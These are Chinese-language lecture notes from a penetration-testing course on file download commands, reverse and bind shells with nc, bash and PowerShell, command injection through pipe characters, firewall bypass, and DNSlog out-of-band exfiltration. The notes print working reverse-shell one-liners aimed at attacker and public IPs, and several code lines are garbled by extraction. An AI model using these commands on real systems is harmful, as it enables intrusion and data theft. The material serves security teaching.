第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记
一、知识点00:24

- 核心内容:今天课程主要讲解三个关键知识点:
- 渗透测试中的常规命令使用
- 反弹Shell技术(涉及防火墙策略和正反向连接)
- 数据回显技术(查询带外和网络协议层级)
- 学习重点:
- 理解正反向连接的区别
- 掌握防火墙绕过策略
- 了解带外查询的应用场景
- 不需要死记命令,重点理解概念和应用场景
二、文件上传下载01:17
1. 实用案例1

- 应用场景:
- 解决渗透测试中无图形化界面的文件传输问题
- 解决受限环境下的数据传输需求
- 技术原理:
- 通过命令行实现文件上传下载
- 构造下载地址后使用特定命令获取文件
- 示例:http://47.94.236.117/nc.exe下载到本地保存为ncs.exe
- 必要性:
- 实战环境中常遇到只有命令行界面的情况
- 图形化下载方式在渗透测试中往往不可行
2. 实用案例203:13

- Windows系统命令:
- certutil.exe -urlcache -split -f http://example.com/file.exe local.exe
- PowerShell命令:Invoke-WebRequest和IEX(New-Object Net.WebClient).DownloadFile()
- 其他:bitsadmin, msiexec等
- Linux系统命令:
- wget http://example.com/file -O localfile
- curl http://example.com/file -o localfile
- 其他:python, ruby, perl等脚本方式
- 注意事项:
- 不同操作系统支持的命令不同
- 某些命令在特定环境下可能被禁用
- 需要根据目标环境选择合适的方法
3. 常规基本渗透命令详解04:25

- 学习资源:
- 参考网址:https://blog.csdn.net/weixin_43303273/article/details/83029138
- 包含Linux和Windows常用渗透命令
- 提供PowerShell攻击指南等进阶内容
- 命令分类:
- Linux:wget, curl, python, ruby, perl, java等
- Windows:PowerShell, Certutil, Bitsadmin, msiexec, mshta, rundll32等
- 学习建议:
- 多实践使用命令,熟能生巧
- 理解命令原理比死记硬背更重要
- 根据实际情况灵活选择合适命令
三、反弹Shell命令12:24
1. 应用案例12:36

- 核心功能:解决数据回显和通讯问题,将远程用户交互权限反弹到本地控制端
- 典型场景:
- 无图形化界面时的命令交互(如passwd密码设置卡住时)
- 需要维持持久化权限(避免每次执行单条命令)
- 绕过网络限制实现内网穿透

- 实现方式:
- 系统工具:nc/ncat、bash、telnet
- 编程语言:
- Python:$python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT))'
- PHP:php−r′php -r 'php−r′s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
- Perl/Ruby:通过socket模块建立TCP连接
- 安全工具:msfvenom生成payload(windows/linux meterpreter)
- 优势对比:
- 与传统命令执行区别:传统方式每次需单独执行,反弹后可持续交互
- 流量特征:反弹成功后流量集中在单一连接,避免频繁请求
2. 连接正反向16:52

- 核心概念:
- 正向连接:攻击机主动连接目标(如nc target_ip 4444 -e /bin/bash)
- 反向连接:目标机主动连接攻击机(如bash -i >& /dev/tcp/attacker_ip/8080)
- 判定标准:
- 以执行命令的主机为参照物
- 主动向外连接即为正向,被动接收连接即为反向
- 应用选择:
- 正向适用:目标有公网IP且开放端口
- 反向适用:
- 目标在内网(NAT后)
- 目标有防火墙限制(仅允许出站)
- 动态IP环境

- 系统差异:
- Linux自带nc/bash等工具
- Windows需额外下载ncat或使用PowerShell实现:
client=New−ObjectSystem.Net.Sockets.TCPClient("ip",port);client = New-Object System.Net.Sockets.TCPClient("ip",port); client=New−ObjectSystem.Net.Sockets.TCPClient("ip",port);
stream =
client.GetStream();[byte[]]client.GetStream();[byte[]]client.GetStream();[byte[]]
bytes = 0..65535|%{0}
四、反弹Shell基础19:45
1. 反弹Shell概念20:00

- 本质:通过特定命令建立远程控制通道
- 连接方向:
- 正向连接:攻击者主动连接目标("我连他")
- 反向连接:目标机主动连接攻击者("他连我")
- 典型应用场景:解决数据回显和通讯问题
2. Windows控制Linux20:30
- 实现原理:
- Linux端绑定shell到指定端口(如5566)
- Windows端使用nc连接目标端口
- 关键命令:
- 终端差异:
- Windows使用cmd终端
- Linux使用/bin/sh终端
3. nc工具使用详解20:46

- 参数说明:
- -e:绑定指定程序(cmd或/bin/sh)
- -l:监听模式
- -v:显示详细信息
- -p:指定端口号
- 跨平台差异:
- Linux系统自带nc工具
- Windows需下载第三方nc工具
- 典型命令示例:
4. 实战演示

- Windows端设置:
- 执行nc -e cmd -lvp 5566绑定cmd到5566端口
- 显示listening on [any] 5566表示监听成功
- Linux端连接:
- 执行nc 47.122.23.131 5566连接目标Windows
- 成功连接后可执行Windows命令如dir、whoami

- 验证方法:
- 执行dir查看Windows文件系统
- 执行whoami查看当前权限
- 可进行文件下载等操作
- 编码问题处理:
- 中文乱码时使用chcp 65001修改cmd编码
- 因Windows默认GBK编码与Linux的UTF-8不兼容
5. 连接中断处理
- 正常退出:
- 执行exit命令终止会话
- 显示Connection reset by peer表示连接已断开
- 异常处理:
- 防火墙可能拦截连接(需特殊配置)
- 确保两端网络可达
- 检查端口是否被占用
6. 命令生成工具

- 实用资源:
- 在线生成地址:https://forum.ywhack.com/shell.php
- 支持多种Shell类型生成(Bash TCP/UDP等)
- 典型生成命令:
7. 技术要点总结
- 核心区别:
- 正向连接:攻击者暴露IP
- 反向连接:更适合穿透防火墙
- 关键记忆点:
- Windows绑定的是cmd,Linux绑定的是/bin/sh
- 监听方使用-lvp参数,连接方直接指定IP端口
- 端口选择建议使用非常用端口(如示例中的5566)
五、反弹SHELL24:40
1. 反弹SHELL的概念

- 核心原理:渗透目标系统后,将目标系统的命令行界面反弹到攻击者的终端进行操作控制
- 典型场景:当目标系统存在防火墙限制时,通过反弹连接绕过网络限制
- 实现方式:通过nc/netcat工具绑定端口,将cmd或/bin/sh等shell环境重定向到攻击者监听端口
2. 正向连接与反向连接25:17

- 正向连接:
- 攻击者在本地监听端口(如5566)
- 目标系统主动连接攻击者的监听端口
- 适用于目标系统可出网的情况
- 反向连接:
- 目标系统绑定shell到指定端口(如5566)
- 攻击者主动连接目标系统的绑定端口
- 适用于目标系统存在入站限制的情况
3. Linux控制Windows的过程25:34

- 步骤分解:
- Windows端执行:nc -e cmd -lvp 5566(监听本地5566端口并绑定cmd)
- Linux端执行:nc 目标IP 5566(主动连接Windows的5566端口)
- 连接建立后,Linux获得Windows的cmd控制权
- 关键点:Windows需要提前开放端口并绑定shell环境
4. Windows控制Linux的过程26:30

- 步骤分解:
- Linux端执行:ncat -e /bin/sh -lvp 5566(监听5566端口并绑定/bin/sh)
- Windows端执行:nc 目标IP 5566(主动连接Linux的5566端口)
- 连接建立后,Windows获得Linux的shell控制权
- 典型现象:可执行whoami验证权限,显示uid=0(root)表示获取root权限
5. 端口监听与连接27:01

- 端口选择:
- 可使用1-65535任意未被占用的端口
- 示例中常用5566端口仅为演示,实际应选择非常用端口
- 连接建立:
- 监听方:nc -lvvp 端口号(Windows/Linux通用)
- 连接方:nc 目标IP 端口号(需确保网络连通性)
6. 本地监听等待连接28:02

- 操作特点:
- 攻击者处于被动等待状态
- 目标系统需要知道攻击者的IP和监听端口
- 典型命令:ncat -e /bin/sh -lvp 5566
- 适用场景:内网渗透中控制DMZ区服务器
7. 主动给出去的反向连接28:24

- 操作特点:
- 攻击者主动连接目标系统
- 目标系统执行绑定命令:nc -e cmd 攻击者IP 5566
- 可绕过防火墙出站限制
- 典型应用:
- 解决NAT环境下的连接问题
- 绕过IDS/IPS的入站检测规则
- 示例:ncat -e /bin/sh 47.122.23.131 5566
六、内网环境33:08
1. 基本概念
- 定义:内网环境是指通过一个公网IP共享上网的网络环境,如公司、学校、网吧等场景
- 组成结构:
- 由路由器作为出口设备,拥有唯一的外网IP
- 路由器下连接多台设备,这些设备使用内网IP(如
192.168.x.x192.168.x.x192.168.x.x
)
- 特点:
- 外网IP具有全球唯一性
- 内网IP可重复使用(不同内网可使用相同内网IP段)
2. 网络通信原理
- 通信限制:
- 外网设备无法直接访问内网特定主机
- 原因:路由器无法自动识别外网请求应转发给哪台内网主机
- 解决方案:
- 端口转发:需在路由器手动配置规则
- 反向连接:让内网主机主动连接外网设备
3. 正反向连接对比
- 正向连接:
- 外网设备主动连接内网主机
- 限制:需要预先配置端口转发
- 失败原因:路由器无法识别目标内网主机
- 反向连接:
- 内网主机主动连接外网设备
- 优势:利用外网IP的全球唯一性
- 应用场景:内网渗透测试的常用方法
- 生活类比:
- 类似学校宿舍找人:给宿舍地址(内网IP)无法精确定位,需让目标人主动联系(反向连接)
七、实验操作39:03
1. 实验环境搭建
- 实验配置:
- 攻击机:Linux服务器(外网)
- 靶机:Windows虚拟机(内网)
- 网络拓扑:虚拟机通过宿主机NAT上网
- IP确认:
- 外网IP:通过浏览器查询
- 内网IP:通过ipconfig命令获取(如
192.168.1.107192.168.1.107192.168.1.107
)
2. 连接测试
- 正向连接测试:
- Linux监听端口:nc -lvp 566
- Windows尝试连接内网IP:连接失败(超时)
- Windows尝试连接外网IP:连接失败(路由器无转发)
- 反向连接测试:
- Linux监听端口:nc -lvp 566
- Windows主动连接:nc 外网IP 566 -e cmd.exe
- 结果:成功建立连接
- 关键结论:
- 内网环境必须使用反向连接
- 防火墙可能拦截出站连接(需关闭杀毒软件测试)
3. 双向控制场景
- 控制Linux服务器:
- 方法:Linux执行nc -lvp 566 -e /bin/sh
- Windows连接:nc Linux_IP 566
- 双内网环境解决方案:
- 使用中继服务器:双方都连接到公网中转节点
- 类比:需要"中间人"协调两个内网的通信
4. 防火墙影响
- 入站规则:影响正向连接
- 出站规则:影响反向连接
- 渗透测试注意:
- 需提前了解目标防火墙配置
- 企业环境通常限制出站连接增加反向连接难度
八、防火墙出入站47:02
1. 漏洞场景搭建47:36
1)命令注入原理
- 管道符利用:通过Windows/Linux管道符实现多命令执行,Windows有4种管道符,Linux有6种
- 典型示例:在ping命令后追加| whoami,系统会先执行ping再执行whoami
- 符号差异:
- Windows:|(执行两条)、||(前错后执)、&(后台执行)
- Linux:;(顺序执行)、&&(前对后执)、|(管道传递)
2)漏洞利用步骤
- 环境判断:通过whoami返回结果识别系统类型(Windows返回mg,Linux返回root)
- 工具准备:Windows需上传nc.exe(因系统不自带netcat)
- 下载技巧:构造下载命令ping 127.0.0.1 | curl http://attacker/nc.exe -o c:\nc.exe
2. 文件下载53:05
1)反弹shell技术
- 正向连接:
- 反向连接:
2)防火墙绕过
- 入站限制:当靶机限制5566端口入站时,只能采用反向连接
- 出站限制:限制出站端口时需寻找已放行端口进行正向连接
- 策略优先级:Windows防火墙默认对入站检测更严格,出站相对宽松
3)实战技巧
- 路径处理:建议将工具下载到固定路径(如C盘根目录)便于调用
- 连接测试:先通过简单命令(如whoami)验证连接有效性
会话维持:后台执行参数&可防止会话中断 - 注:实际操作中需根据目标系统类型(通过whoami返回判断)选择对应的管道符和命令语法,Windows需注意路径使用反斜杠\,Linux使用正斜杠/。防火墙策略会影响连接方向选择,需通过端口扫描确认可用连接方式。
九、回显问题01:14:34
1. 数据回显的基本概念
- 定义:数据回显指在执行命令后系统返回执行结果的过程
- 防火墙关联:数据回显问题常与防火墙配置相关,可能被防火墙拦截
- 重要性:回显是确认命令是否执行的关键依据,无回显则无法确认执行状态
2. 无回显问题的解决方案
1)反弹shell技术
- 原理:让目标系统主动连接攻击者,建立反向通信通道
- 优势:绕过防火墙限制,直接获取交互式shell
- 效果:获得完整权限后可直接执行命令查看回显
2)带外查询技术
- 核心思想:让目标系统主动将执行结果发送到外部服务器
- 实现方式:
- 通过DNS解析记录带出数据
- 使用HTTP请求携带执行结果
- 典型应用:
- 执行whoami命令后,将结果拼接到DNS查询中
- 通过ICMP协议(ping)绕过TCP/UDP防火墙过滤
3. Windows系统特殊处理
- 限制因素:
- 不支持Linux风格的管道符|和;
- CMD无法直接执行命令拼接
- PowerShell解决方案:
- 使用变量赋值存储命令结果:$x=whoami
- 字符串替换处理特殊字符:x=x=x=x -replace "\","xxx"
- 拼接目标地址并执行:ping ($x+"dnslog.cn")
- 关键步骤:
- 变量存储命令结果
- 处理结果中的干扰字符
- 通过网络请求带出数据
4. 技术原理深度解析
- OSI七层协议优势:
- ICMP协议(ping)工作在网络层(3层)
- 防火墙通常过滤传输层(4层)的TCP/UDP
- 利用协议层级差异实现绕过
- Windows与Linux差异:
- Linux支持直接命令拼接:ping$(whoami).dnslog.cn
- Windows需要PowerShell变量中转
- 结果验证方法:
- 检查DNS日志是否收到包含执行结果的查询
- 观察ICMP请求是否成功发出
5. 应用场景与注意事项
- 适用场景:
- 存在命令执行漏洞但无回显
- 防火墙限制常规通信方式
- 需要隐蔽的数据外传
- 注意事项:
- 不同操作系统需要采用不同技术方案
- 特殊字符可能导致命令执行失败
- 网络环境可能过滤特定协议
- 技术选择:
- 优先尝试反弹shell获取完整控制
- 受限环境下使用带外查询技术
- 根据系统特性选择合适的方法
十、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 文件上传下载 | 解决无图形化环境下的数据传输问题,演示WINDOWS/Linux系统下的多种下载命令 | 管道符在不同系统的差异(Windows仅支持|和&,Linux支持6种) | ⭐⭐ |
| 反弹Shell原理 | 通过nc工具实现权限控制,解决命令交互和数据通讯问题 | 正反向连接的本质区别(主动连接vs被动接收) | ⭐⭐⭐⭐ |
| 正反向连接实战 | 内网穿透场景演示: - 正向:监听端等待连接; - 反向:被控端主动外联 | 防火墙策略影响(入站限制需用反向连接) | ⭐⭐⭐⭐ |
| 数据回显技术 | 带外查询(OAST)技术: - DNSlog提取执行结果; - PowerShell变量拼接突破Windows限制 | 字符过滤绕过(斜杠替换为xxx) | ⭐⭐⭐⭐ |
| 防火墙对抗 | 入站/出站规则绕过: - ICMP协议绕过TCP/UDP过滤; - 端口复用技术 | 策略优先级(出站默认宽松) | ⭐⭐⭐ |